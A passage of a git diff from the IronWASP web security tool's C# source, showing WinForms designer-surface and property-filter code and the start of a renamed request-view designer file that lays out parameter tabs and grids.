System.Drawing.Design; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace IronWASP -{ - //Uses code and ideas from http://msdn.microsoft.com/en-us/magazine/cc163634.aspx - internal class ModDesignSurface : DesignSurface - { - ISelectionService SelectionService; - - internal static object[] SelectedObjects; - - internal void SetUpSelectionService() - { - // Set SelectionService - SelectionChanged event handler - SelectionService = (ISelectionService)(this.ServiceContainer.GetService(typeof(ISelectionService))); - SelectionService.SelectionChanged += new EventHandler(SelectionService_SelectionChanged); - } - - private void SelectionService_SelectionChanged(object sender, EventArgs e) - { - if (SelectionService != null) - { - ICollection SelectedComponents = SelectionService.GetSelectedComponents(); - PropertyGrid ModPropertyGrid = (PropertyGrid)this.GetService(typeof(PropertyGrid)); - if (ModPropertyGrid == null) return; - - object[] Comps = new object[SelectedComponents.Count]; - int i = 0; - SelectedObjects = Comps; - foreach (Object O in SelectedComponents) - { - Comps[i] = O; - i++; - } - IronUI.UD.EventHandlersGrid.Rows.Clear(); - if (Comps.Length == 1) - { - Dictionary EventHandlers = GetEventHandlers(Comps[0]); - foreach (string Event in EventHandlers.Keys) - { - IronUI.UD.EventHandlersGrid.Rows.Add(new object[]{Event, EventHandlers[Event]}); - } - if (Comps[0].GetType() == typeof(ModDataGridView)) - { - ModPropertyGrid.Dock = DockStyle.None; - ModPropertyGrid.Anchor = ModUiTools.GetAnchorStyleDefinition(true, true, true, true); - ModPropertyGrid.Location = ModUiTools.GetLocationDefinition(0, 0); - ModPropertyGrid.Size = ModUiTools.GetSizeDefinition(IronUI.UD.PropertiesPropertySubTab.Size.Width, IronUI.UD.PropertiesPropertySubTab.Size.Height - (IronUI.UD.DataGridColumnAddPanel.Size.Height + 5)); - IronUI.UD.DataGridColumnAddPanel.Visible = true; - } - else if (ModPropertyGrid.Dock == DockStyle.None) - { - ModPropertyGrid.Dock = DockStyle.Fill; - IronUI.UD.DataGridColumnAddPanel.Visible = false; - } - } - ModPropertyGrid.SelectedObjects = Comps; - if (Comps.Length > 0) - { - IronUI.UD.LeftTabs.SelectTab("PropertiesTab"); - } - } - } - - Dictionary GetEventHandlers(object Obj) - { - switch(Obj.GetType().Name) - { - case("Form"): - return ModUi.EventHandlers; - case("ModTextBox"): - return (Obj as ModTextBox).EventHandlers; - case ("ModRichTextBox"): - return (Obj as ModRichTextBox).EventHandlers; - case ("ModButton"): - return (Obj as ModButton).EventHandlers; - case ("ModCheckBox"): - return (Obj as ModCheckBox).EventHandlers; - case ("ModRadioButton"): - return (Obj as ModRadioButton).EventHandlers; - case ("ModLabel"): - return (Obj as ModLabel).EventHandlers; - case ("ModDataGridView"): - return (Obj as ModDataGridView).EventHandlers; - default: - return new Dictionary(); - } - } - } - - public class CustomFilterService : ITypeDescriptorFilterService - { - public ITypeDescriptorFilterService OldService = null; - - static Dictionary> AllowedProperties = new Dictionary>() - { - { "All", new List(){"Name", "Size", "Location", "Anchor", "Dock", "Enabled", /*"Visible",*/ "BackColor", "ForeColor"}}, - { "System.Windows.Forms.Form", new List(){"Icon", "Text"}}, - { "IronWASP.ModTextBox", new List(){"BorderStyle", "ReadOnly", "ScrollBars", "Font", "Multiline", "PasswordChar", "WordWrap", "TextAlign", "Text"}}, - { "IronWASP.ModRichTextBox", new List(){"BorderStyle", "ReadOnly", "ScrollBars", "Font", "Multiline", "WordWrap", "Text", "DetectUrls"}}, - { "IronWASP.ModLabel", new List(){"BorderStyle", "Font", "Text"}}, - { "IronWASP.ModButton", new List(){"Font", "Text"}}, - { "IronWASP.ModCheckBox", new List(){"Font", "Text", "Checked"}}, - { "IronWASP.ModRadioButton", new List(){"Font", "Text", "Checked"}}, - { "IronWASP.ModPanel", new List(){"BorderStyle", "HorizontalScroll", "VerticalScroll", "BackgroundImage", "BackgroundImageLayout", "Padding", "Margin"}}, - { "IronWASP.ModTabControl", new List(){"Alignment", "Appearance", "Multiline", "Padding", "TabPages"}}, - { "System.Windows.Forms.TabPage", new List(){"Text"}}, - { "IronWASP.ModDataGridView", new List(){ - //Allow User Actions - "AllowUserToAddRows", "AllowUserToDeleteRows", "AllowUserToOrderColumns", "AllowUserToResizeColumns", "AllowUserToResizeRows", - //Column Header Styling - "ColumnHeadersVisible", "ColumnHeadersDefaultCellStyle", "ColumnHeadersBorderStyle", "ColumnHeadersHeightSizeMode", - //Column - "Columns", "AutoSizeColumnsMode", - //Row Styling - "AlternatingRowsDefaultCellStyle", "AutoSizeRowsMode", - //Cell - "RowsDefaultCellStyle", "ReadOnly", "DefaultCellStyle", "CellBorderStyle", - //Other - "ScrollBars", "ClipboardCopyMode", "GridColor", "MultiSelect", "BackgroundColor", "BorderStyle"}}, - { "System.Windows.Forms.Design.DataGridViewColumnCollectionDialog+ListBoxItem", new List(){"AutoSizeMode", "SortMode", "MinimumWidth", "Width", "ReadOnly", "Visible", "Resizable", "HeaderText", "DefaultCellStyle"}} - - }; - - public CustomFilterService() - { - //DataGridView G = new DataGridView(); - //G.AdvancedCellBorderStyle - //G.AdvancedColumnHeadersBorderStyle - //G.AdvancedRowHeadersBorderStyle - //G.CellBorderStyle - //G.ColumnHeadersDefaultCellStyle - //G.ColumnHeadersHeight - //G.ColumnHeadersVisible - //G.EditingControl - //G.EditMode - //G.EnableHeadersVisualStyles - //G.RowHeadersWidthSizeMode - //G.RowsDefaultCellStyle - //G.RowTemplate - //G. - } - - public CustomFilterService(ITypeDescriptorFilterService OldService) - { - this.OldService = OldService; - } - - public bool FilterAttributes(System.ComponentModel.IComponent component, System.Collections.IDictionary attributes) - { - if (OldService != null) - OldService.FilterAttributes(component, attributes); - return true; - } - - public bool FilterEvents(System.ComponentModel.IComponent component, System.Collections.IDictionary events) - { - if (OldService != null) - OldService.FilterEvents(component, events); - return true; - } - - public bool FilterProperties(System.ComponentModel.IComponent component, System.Collections.IDictionary properties) - { - if (OldService != null) - OldService.FilterProperties(component, properties); - - string[] PropertyNames = new string[properties.Keys.Count]; - properties.Keys.CopyTo(PropertyNames, 0); - string PN = string.Join(",", PropertyNames); - List AllowedPropertyNames = new List(AllowedProperties["All"]); - string ComponentType = component.GetType().Name; - string FullComponentType = component.GetType().FullName; - if (FullComponentType.Equals("System.Windows.Forms.Form")) - AllowedPropertyNames.Remove("Name"); - if (AllowedProperties.ContainsKey(FullComponentType)) - AllowedPropertyNames.AddRange(AllowedProperties[FullComponentType]); - foreach (string PropertyName in PropertyNames) - { - if (PropertyName.StartsWith("Name_") && !FullComponentType.Equals("System.Windows.Forms.Form")) continue; - if (!AllowedPropertyNames.Contains(PropertyName)) properties.Remove(PropertyName); - } - return true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.ComponentModel.Design; +using System.ComponentModel.Design.Serialization; +using System.Data; +using System.Drawing; +using System.Drawing.Design; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace IronWASP +{ + //Uses code and ideas from http://msdn.microsoft.com/en-us/magazine/cc163634.aspx + internal class ModDesignSurface : DesignSurface + { + ISelectionService SelectionService; + + internal static object[] SelectedObjects; + + internal void SetUpSelectionService() + { + // Set SelectionService - SelectionChanged event handler + SelectionService = (ISelectionService)(this.ServiceContainer.GetService(typeof(ISelectionService))); + SelectionService.SelectionChanged += new EventHandler(SelectionService_SelectionChanged); + } + + private void SelectionService_SelectionChanged(object sender, EventArgs e) + { + if (SelectionService != null) + { + ICollection SelectedComponents = SelectionService.GetSelectedComponents(); + PropertyGrid ModPropertyGrid = (PropertyGrid)this.GetService(typeof(PropertyGrid)); + if (ModPropertyGrid == null) return; + + object[] Comps = new object[SelectedComponents.Count]; + int i = 0; + SelectedObjects = Comps; + foreach (Object O in SelectedComponents) + { + Comps[i] = O; + i++; + } + IronUI.UD.EventHandlersGrid.Rows.Clear(); + if (Comps.Length == 1) + { + Dictionary EventHandlers = GetEventHandlers(Comps[0]); + foreach (string Event in EventHandlers.Keys) + { + IronUI.UD.EventHandlersGrid.Rows.Add(new object[]{Event, EventHandlers[Event]}); + } + if (Comps[0].GetType() == typeof(ModDataGridView)) + { + ModPropertyGrid.Dock = DockStyle.None; + ModPropertyGrid.Anchor = ModUiTools.GetAnchorStyleDefinition(true, true, true, true); + ModPropertyGrid.Location = ModUiTools.GetLocationDefinition(0, 0); + ModPropertyGrid.Size = ModUiTools.GetSizeDefinition(IronUI.UD.PropertiesPropertySubTab.Size.Width, IronUI.UD.PropertiesPropertySubTab.Size.Height - (IronUI.UD.DataGridColumnAddPanel.Size.Height + 5)); + IronUI.UD.DataGridColumnAddPanel.Visible = true; + } + else if (ModPropertyGrid.Dock == DockStyle.None) + { + ModPropertyGrid.Dock = DockStyle.Fill; + IronUI.UD.DataGridColumnAddPanel.Visible = false; + } + } + ModPropertyGrid.SelectedObjects = Comps; + if (Comps.Length > 0) + { + IronUI.UD.LeftTabs.SelectTab("PropertiesTab"); + } + } + } + + Dictionary GetEventHandlers(object Obj) + { + switch(Obj.GetType().Name) + { + case("Form"): + return ModUi.EventHandlers; + case("ModTextBox"): + return (Obj as ModTextBox).EventHandlers; + case ("ModRichTextBox"): + return (Obj as ModRichTextBox).EventHandlers; + case ("ModButton"): + return (Obj as ModButton).EventHandlers; + case ("ModCheckBox"): + return (Obj as ModCheckBox).EventHandlers; + case ("ModRadioButton"): + return (Obj as ModRadioButton).EventHandlers; + case ("ModLabel"): + return (Obj as ModLabel).EventHandlers; + case ("ModDataGridView"): + return (Obj as ModDataGridView).EventHandlers; + default: + return new Dictionary(); + } + } + } + + public class CustomFilterService : ITypeDescriptorFilterService + { + public ITypeDescriptorFilterService OldService = null; + + static Dictionary> AllowedProperties = new Dictionary>() + { + { "All", new List(){"Name", "Size", "Location", "Anchor", "Dock", "Enabled", /*"Visible",*/ "BackColor", "ForeColor"}}, + { "System.Windows.Forms.Form", new List(){"Icon", "Text"}}, + { "IronWASP.ModTextBox", new List(){"BorderStyle", "ReadOnly", "ScrollBars", "Font", "Multiline", "PasswordChar", "WordWrap", "TextAlign", "Text"}}, + { "IronWASP.ModRichTextBox", new List(){"BorderStyle", "ReadOnly", "ScrollBars", "Font", "Multiline", "WordWrap", "Text", "DetectUrls"}}, + { "IronWASP.ModLabel", new List(){"BorderStyle", "Font", "Text"}}, + { "IronWASP.ModButton", new List(){"Font", "Text"}}, + { "IronWASP.ModCheckBox", new List(){"Font", "Text", "Checked"}}, + { "IronWASP.ModRadioButton", new List(){"Font", "Text", "Checked"}}, + { "IronWASP.ModSplitContainer", new List(){"BorderStyle", "Padding", "Margin", "FixedPanel", "IsSplitterFixed", "Orientation", "SplitterDistance"}}, + { "IronWASP.ModPanel", new List(){"BorderStyle", "HorizontalScroll", "VerticalScroll", "BackgroundImage", "BackgroundImageLayout", "Padding", "Margin"}}, + { "IronWASP.ModTabControl", new List(){"Alignment", "Appearance", "Multiline", "Padding", "TabPages"}}, + { "System.Windows.Forms.TabPage", new List(){"Text"}}, + { "IronWASP.ModDataGridView", new List(){ + //Allow User Actions + "AllowUserToAddRows", "AllowUserToDeleteRows", "AllowUserToOrderColumns", "AllowUserToResizeColumns", "AllowUserToResizeRows", + //Column Header Styling + "ColumnHeadersVisible", "ColumnHeadersDefaultCellStyle", "ColumnHeadersBorderStyle", "ColumnHeadersHeightSizeMode", + //Column + "Columns", "AutoSizeColumnsMode", + //Row Styling + "AlternatingRowsDefaultCellStyle", "AutoSizeRowsMode", + //Cell + "RowsDefaultCellStyle", "ReadOnly", "DefaultCellStyle", "CellBorderStyle", + //Other + "ScrollBars", "ClipboardCopyMode", "GridColor", "MultiSelect", "BackgroundColor", "BorderStyle"}}, + { "System.Windows.Forms.Design.DataGridViewColumnCollectionDialog+ListBoxItem", new List(){"AutoSizeMode", "SortMode", "MinimumWidth", "Width", "ReadOnly", "Visible", "Resizable", "HeaderText", "DefaultCellStyle"}} + + }; + + public CustomFilterService() + { + //DataGridView G = new DataGridView(); + //G.AdvancedCellBorderStyle + //G.AdvancedColumnHeadersBorderStyle + //G.AdvancedRowHeadersBorderStyle + //G.CellBorderStyle + //G.ColumnHeadersDefaultCellStyle + //G.ColumnHeadersHeight + //G.ColumnHeadersVisible + //G.EditingControl + //G.EditMode + //G.EnableHeadersVisualStyles + //G.RowHeadersWidthSizeMode + //G.RowsDefaultCellStyle + //G.RowTemplate + //G. + } + + public CustomFilterService(ITypeDescriptorFilterService OldService) + { + this.OldService = OldService; + } + + public bool FilterAttributes(System.ComponentModel.IComponent component, System.Collections.IDictionary attributes) + { + if (OldService != null) + OldService.FilterAttributes(component, attributes); + return true; + } + + public bool FilterEvents(System.ComponentModel.IComponent component, System.Collections.IDictionary events) + { + if (OldService != null) + OldService.FilterEvents(component, events); + return true; + } + + public bool FilterProperties(System.ComponentModel.IComponent component, System.Collections.IDictionary properties) + { + if (OldService != null) + OldService.FilterProperties(component, properties); + + string[] PropertyNames = new string[properties.Keys.Count]; + properties.Keys.CopyTo(PropertyNames, 0); + string PN = string.Join(",", PropertyNames); + List AllowedPropertyNames = new List(AllowedProperties["All"]); + string ComponentType = component.GetType().Name; + string FullComponentType = component.GetType().FullName; + if (FullComponentType.Equals("System.Windows.Forms.Form")) + AllowedPropertyNames.Remove("Name"); + if (AllowedProperties.ContainsKey(FullComponentType)) + AllowedPropertyNames.AddRange(AllowedProperties[FullComponentType]); + foreach (string PropertyName in PropertyNames) + { + if (PropertyName.StartsWith("Name_") && !FullComponentType.Equals("System.Windows.Forms.Form")) continue; + if (!AllowedPropertyNames.Contains(PropertyName)) properties.Remove(PropertyName); + } + return true; + } + } +} diff --git a/IronWASP/ModRequestView.Designer.cs b/Iron/ModRequestView.Designer.cs similarity index 98% rename from IronWASP/ModRequestView.Designer.cs rename to Iron/ModRequestView.Designer.cs index 55b973b..145c837 100644 --- a/IronWASP/ModRequestView.Designer.cs +++ b/Iron/ModRequestView.Designer.cs @@ -1,804 +1,804 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ModRequestView - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.HeadersTab = new System.Windows.Forms.TabPage(); - this.BodyTab = new System.Windows.Forms.TabPage(); - this.BodyParametersTab = new System.Windows.Forms.TabPage(); - this.BodyParametersFormatTypeTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeNormalTab = new System.Windows.Forms.TabPage(); - this.BodyNormalTypeParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); - this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); - this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); - this.BodyFormatPluginsParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); - this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); - this.OtherParametersTab = new System.Windows.Forms.TabPage(); - this.OtherParametersTabs = new System.Windows.Forms.TabControl(); - this.UrlPathPartsParametersTab = new System.Windows.Forms.TabPage(); - this.UrlPathPartsParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.QueryParametersTab = new System.Windows.Forms.TabPage(); - this.QueryParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.CookieParametersTab = new System.Windows.Forms.TabPage(); - this.CookieParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HeadersParametersTab = new System.Windows.Forms.TabPage(); - this.HeadersParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ParametersErrorTB = new System.Windows.Forms.TextBox(); - this.ParametersProgressBar = new System.Windows.Forms.ProgressBar(); - this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); - this.UseSSLCB = new System.Windows.Forms.CheckBox(); - this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); - this.ironDataView1 = new IronDataView.IronDataView(); - this.ironDataView2 = new IronDataView.IronDataView(); - this.ironDataView3 = new IronDataView.IronDataView(); - this.BaseTabs.SuspendLayout(); - this.HeadersTab.SuspendLayout(); - this.BodyTab.SuspendLayout(); - this.BodyParametersTab.SuspendLayout(); - this.BodyParametersFormatTypeTabs.SuspendLayout(); - this.BodyTypeNormalTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyNormalTypeParametersGrid)).BeginInit(); - this.BodyTypeFormatPluginTab.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); - this.ASRequestBodyTabSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); - this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); - this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).BeginInit(); - this.BodyTypeFormatPluginXMLTab.SuspendLayout(); - this.FormatXmlBaseSplit.Panel1.SuspendLayout(); - this.FormatXmlBaseSplit.Panel2.SuspendLayout(); - this.FormatXmlBaseSplit.SuspendLayout(); - this.OtherParametersTab.SuspendLayout(); - this.OtherParametersTabs.SuspendLayout(); - this.UrlPathPartsParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).BeginInit(); - this.QueryParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).BeginInit(); - this.CookieParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).BeginInit(); - this.HeadersParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).BeginInit(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BaseTabs.Controls.Add(this.HeadersTab); - this.BaseTabs.Controls.Add(this.BodyTab); - this.BaseTabs.Controls.Add(this.BodyParametersTab); - this.BaseTabs.Controls.Add(this.OtherParametersTab); - this.BaseTabs.Location = new System.Drawing.Point(0, 28); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(682, 220); - this.BaseTabs.TabIndex = 5; - // - // HeadersTab - // - this.HeadersTab.Controls.Add(this.ironDataView3); - this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTab.Name = "HeadersTab"; - this.HeadersTab.Size = new System.Drawing.Size(674, 194); - this.HeadersTab.TabIndex = 0; - this.HeadersTab.Text = "Headers"; - this.HeadersTab.UseVisualStyleBackColor = true; - // - // BodyTab - // - this.BodyTab.Controls.Add(this.ironDataView1); - this.BodyTab.Location = new System.Drawing.Point(4, 22); - this.BodyTab.Name = "BodyTab"; - this.BodyTab.Size = new System.Drawing.Size(674, 194); - this.BodyTab.TabIndex = 3; - this.BodyTab.Text = "Body"; - this.BodyTab.UseVisualStyleBackColor = true; - // - // BodyParametersTab - // - this.BodyParametersTab.Controls.Add(this.BodyParametersFormatTypeTabs); - this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); - this.BodyParametersTab.Name = "BodyParametersTab"; - this.BodyParametersTab.Size = new System.Drawing.Size(674, 194); - this.BodyParametersTab.TabIndex = 4; - this.BodyParametersTab.Text = "Body Parameters"; - this.BodyParametersTab.UseVisualStyleBackColor = true; - // - // BodyParametersFormatTypeTabs - // - this.BodyParametersFormatTypeTabs.Controls.Add(this.BodyTypeNormalTab); - this.BodyParametersFormatTypeTabs.Controls.Add(this.BodyTypeFormatPluginTab); - this.BodyParametersFormatTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyParametersFormatTypeTabs.Location = new System.Drawing.Point(0, 0); - this.BodyParametersFormatTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.BodyParametersFormatTypeTabs.Multiline = true; - this.BodyParametersFormatTypeTabs.Name = "BodyParametersFormatTypeTabs"; - this.BodyParametersFormatTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.BodyParametersFormatTypeTabs.SelectedIndex = 0; - this.BodyParametersFormatTypeTabs.Size = new System.Drawing.Size(674, 194); - this.BodyParametersFormatTypeTabs.TabIndex = 3; - // - // BodyTypeNormalTab - // - this.BodyTypeNormalTab.Controls.Add(this.BodyNormalTypeParametersGrid); - this.BodyTypeNormalTab.Location = new System.Drawing.Point(4, 40); - this.BodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeNormalTab.Name = "BodyTypeNormalTab"; - this.BodyTypeNormalTab.Size = new System.Drawing.Size(184, 30); - this.BodyTypeNormalTab.TabIndex = 0; - this.BodyTypeNormalTab.Text = "Normal Body Type"; - this.BodyTypeNormalTab.UseVisualStyleBackColor = true; - // - // BodyNormalTypeParametersGrid - // - this.BodyNormalTypeParametersGrid.AllowUserToAddRows = false; - this.BodyNormalTypeParametersGrid.AllowUserToDeleteRows = false; - this.BodyNormalTypeParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyNormalTypeParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.BodyNormalTypeParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.BodyNormalTypeParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn9, - this.dataGridViewTextBoxColumn10}); - this.BodyNormalTypeParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyNormalTypeParametersGrid.GridColor = System.Drawing.Color.White; - this.BodyNormalTypeParametersGrid.Location = new System.Drawing.Point(0, 0); - this.BodyNormalTypeParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyNormalTypeParametersGrid.Name = "BodyNormalTypeParametersGrid"; - this.BodyNormalTypeParametersGrid.RowHeadersVisible = false; - this.BodyNormalTypeParametersGrid.Size = new System.Drawing.Size(184, 30); - this.BodyNormalTypeParametersGrid.TabIndex = 1; - // - // dataGridViewTextBoxColumn9 - // - this.dataGridViewTextBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn9.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; - this.dataGridViewTextBoxColumn9.ReadOnly = true; - // - // dataGridViewTextBoxColumn10 - // - this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn10.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; - // - // BodyTypeFormatPluginTab - // - this.BodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); - this.BodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginTab.Name = "BodyTypeFormatPluginTab"; - this.BodyTypeFormatPluginTab.Size = new System.Drawing.Size(666, 168); - this.BodyTypeFormatPluginTab.TabIndex = 1; - this.BodyTypeFormatPluginTab.Text = "Other Known Formats (Eg: XML, JSON etc)"; - this.BodyTypeFormatPluginTab.UseVisualStyleBackColor = true; - // - // ASRequestBodyTabSplit - // - this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); - this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; - // - // ASRequestBodyTabSplit.Panel1 - // - this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); - // - // ASRequestBodyTabSplit.Panel2 - // - this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); - this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(666, 168); - this.ASRequestBodyTabSplit.SplitterDistance = 112; - this.ASRequestBodyTabSplit.SplitterWidth = 2; - this.ASRequestBodyTabSplit.TabIndex = 0; - // - // FormatPluginsGrid - // - this.FormatPluginsGrid.AllowUserToAddRows = false; - this.FormatPluginsGrid.AllowUserToDeleteRows = false; - this.FormatPluginsGrid.AllowUserToResizeRows = false; - this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestBodyDataFormatSelectColumn, - this.ASRequestBodyDataFormatColumn}); - this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; - this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); - this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatPluginsGrid.MultiSelect = false; - this.FormatPluginsGrid.Name = "FormatPluginsGrid"; - this.FormatPluginsGrid.RowHeadersVisible = false; - this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatPluginsGrid.Size = new System.Drawing.Size(112, 168); - this.FormatPluginsGrid.TabIndex = 0; - // - // ASRequestBodyDataFormatSelectColumn - // - this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; - this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; - this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; - this.ASRequestBodyDataFormatSelectColumn.Width = 20; - // - // ASRequestBodyDataFormatColumn - // - this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; - this.ASRequestBodyDataFormatColumn.Name = 